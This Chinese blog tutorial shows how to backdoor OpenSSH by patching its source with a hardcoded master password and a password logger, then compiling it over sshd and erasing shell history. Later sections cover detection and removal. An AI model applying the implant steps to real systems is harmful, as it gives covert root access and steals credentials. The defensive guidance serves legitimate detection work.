Linux权限维持(六):服务与网络后门——OpenSSH后门(源码级)

一、原理简述

下载 OpenSSH 源码,修改认证逻辑,加入万能密码密码记录功能,然后重新编译安装。替换掉系统自带的 SSH 服务,实现长期后门。

一句话原理:给 SSH 服务本身加一个”万能钥匙”,同时记录所有登录密码。


二、植入步骤(攻击者视角)

第1步:获取 OpenSSH 源码

# 查看当前系统 SSH 版本
ssh -V

# 下载对应版本的源码
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.0p1.tar.gz
tar zxf openssh-8.0p1.tar.gz
cd openssh-8.0p1

第2步:修改源码(添加后门)

编辑 auth-passwd.cauth.c,找到密码验证函数,添加万能密码:

// 在密码验证函数中添加
if (strcmp(password, "secretpass") == 0) {
    return 1;  // 万能密码直接通过
}

同时添加密码记录功能:

// 记录错误密码到文件
FILE *fp = fopen("/tmp/.ssh.log", "a");
fprintf(fp, "User: %s, Pass: %s\n", user, password);
fclose(fp);

第3步:编译安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make
make install

第4步:重启服务

systemctl restart sshd

第5步:清理痕迹

# 清除编译目录
rm -rf openssh-8.0p1*

# 清除历史命令
history -c
rm -f ~/.bash_history

三、触发方式

场景 说明
万能密码登录 攻击者用预设的万能密码直接登录(如 secretpass
正常用户登录 正常密码也能登录,不被察觉
密码记录 无论成功还是失败,密码都被记录到 /tmp/.ssh.log

四、攻击者登录

ssh root@目标IP
# 输入万能密码,直接登录成功

五、排查方法

1. 检查 SSH 版本是否异常

ssh -V
# 对比官方版本号,看是否被篡改

2. 检查 sshd 文件修改时间

stat /usr/sbin/sshd
# 看时间是否与系统安装时间不符

3. 检查密码记录文件

ls -la /tmp/.ssh.log
cat /tmp/.ssh.log 2>/dev/null

4. 检查 SSH 二进制文件是否被替换

# 用 rpm 验证完整性(RHEL 系统)
rpm -V openssh-server

# 输出类似:
# S.5....T.  /usr/sbin/sshd
# 说明文件被修改过

5. 检查 SSH 服务进程

# 查看 sshd 进程调用的动态库是否有异常
lsof -p $(pgrep -f "sshd -D" | head -1) | grep -E "\.so"

6. 抓包分析(被动检测)

# 在服务器上抓包,观察是否有异常行为
tcpdump -i eth0 port 22 -A -s 1024 | grep -E "secretpass|万能密码特征"

六、清除方法

# 1. 重装 openssh-server
dnf reinstall openssh-server -y

# 2. 删除密码记录文件
rm -f /tmp/.ssh.log

# 3. 重启服务
systemctl restart sshd

# 4. 验证
ssh -V
rpm -V openssh-server

七、与其他后门对比

对比项 OpenSSH 后门 SSH Wrapper 后门 软链接后门
修改文件 ✅ 替换 sshd 二进制 ✅ 替换 sshd 为脚本 ❌ 不替换文件
万能密码 ✅ 支持 ❌ 不支持 ✅ 任意密码
密码记录 ✅ 可记录 ❌ 不记录 ❌ 不记录
隐蔽性 很高(需对比 hash) 中等(文件类型暴露) 较低(新端口)
检测难度 较高 中等
恢复方法 重装包 恢复文件 kill 进程+删链接

八、快速检测命令

# 一条命令检测 OpenSSH 后门(RHEL 系统)
rpm -V openssh-server 2>/dev/null | grep -q "sshd" && echo "⚠ sshd 文件可能被修改!" || echo "✓ sshd 文件正常"

# 检查密码记录文件
find /tmp /var/tmp -name "*.log" 2>/dev/null | xargs grep -l "User:.*Pass:" 2>/dev/null

九、RHEL 8 特别说明

在 RHEL 8 上:

  • OpenSSH 版本是 8.0p1

  • 编译需要安装依赖:dnf install gcc make zlib-devel openssl-devel pam-devel

  • 验证完整性用 rpm -V openssh-server

  • 重装用 dnf reinstall openssh-server


十、总结

问题 答案
这种后门有什么特点? 万能密码 + 记录密码 + 高度隐蔽
攻击者需要什么权限? root 权限(才能编译安装替换)
怎么检测? rpm -V openssh-server 比对文件完整性
怎么清除? dnf reinstall openssh-server 重装
© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容